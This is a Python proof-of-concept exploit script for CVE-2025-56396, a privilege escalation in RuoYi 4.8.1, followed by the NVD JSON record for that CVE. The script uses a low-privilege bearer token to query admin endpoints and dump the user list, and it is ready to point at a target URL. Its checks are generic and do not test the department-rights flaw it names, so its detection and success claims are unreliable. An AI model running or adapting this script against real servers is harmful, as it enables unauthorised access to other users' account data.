CVE-2025-56396

# CVE-2025-56396 PoC - RuoYi 4.8.1 Privilege Escalation # Author: Security Researcher # Target: RuoYi <= 4.8.1 import requests import json TARGET_URL = "http://target-ruoyi-server.com" ATTACKER_TOKEN = "attacker_bearer_token_here" def privilege_escalation_poc(): """ PoC for CVE-2025-56396: RuoYi 4.8.1 Privilege Escalation The vulnerability allows attackers to gain escalated privileges due to the owning department having higher rights than the active user. """ # Step 1: Attempt to access admin panel with low-privilege user headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 2: Try to list all users (requires admin privileges) admin_endpoint = f"{TARGET_URL}/system/user/list" response = requests.get(admin_endpoint, headers=headers) if response.status_code == 200: data = response.json() if data.get("code") == 200: print("[+] Privilege Escalation Successful!") print("[+] Retrieved user list:") print(json.dumps(data, indent=2)) return True print("[-] Privilege Escalation Failed") return False def check_vulnerability(): """Check if target is vulnerable to CVE-2025-56396""" # Check system info endpoint info_url = f"{TARGET_URL}/system/user/profile" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(info_url, headers=headers) if response.status_code == 200: profile = response.json() dept_id = profile.get("data", {}).get("dept", {}).get("deptId") print(f"[*] User belongs to department: {dept_id}") # Check if department has higher privileges dept_info_url = f"{TARGET_URL}/system/dept/{dept_id}" dept_response = requests.get(dept_info_url, headers=headers) if dept_response.status_code == 200: print("[!] Potential vulnerability: Department info accessible") return True return False if __name__ == "__main__": print("CVE-2025-56396 RuoYi 4.8.1 Privilege Escalation PoC") print("=" * 50) check_vulnerability() print("\n[*] Attempting privilege escalation...") privilege_escalation_poc()

{"cve": {"id": "CVE-2025-56396", "sourceIdentifier": "[email protected]", "published": "2025-11-26T16:15:48.183", "lastModified": "2025-12-04T20:16:19.103", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Ruoyi 4.8.1 allowing attackers to gain escalated privileges due to the owning department having higher rights than the active user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruoyi:ruoyi:4.8.1:*:*:*:*:*:*:*", "matchCriteriaId": "66B50E9E-F41D-4BDA-9079-3A1AC60C83F8"}]}]}], "references": [{"url": "https://gist.github.com/Han-tj/22cfd18fa9f116bb886e8e56782f6865", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/y_project/RuoYi/issues/ICJ865", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}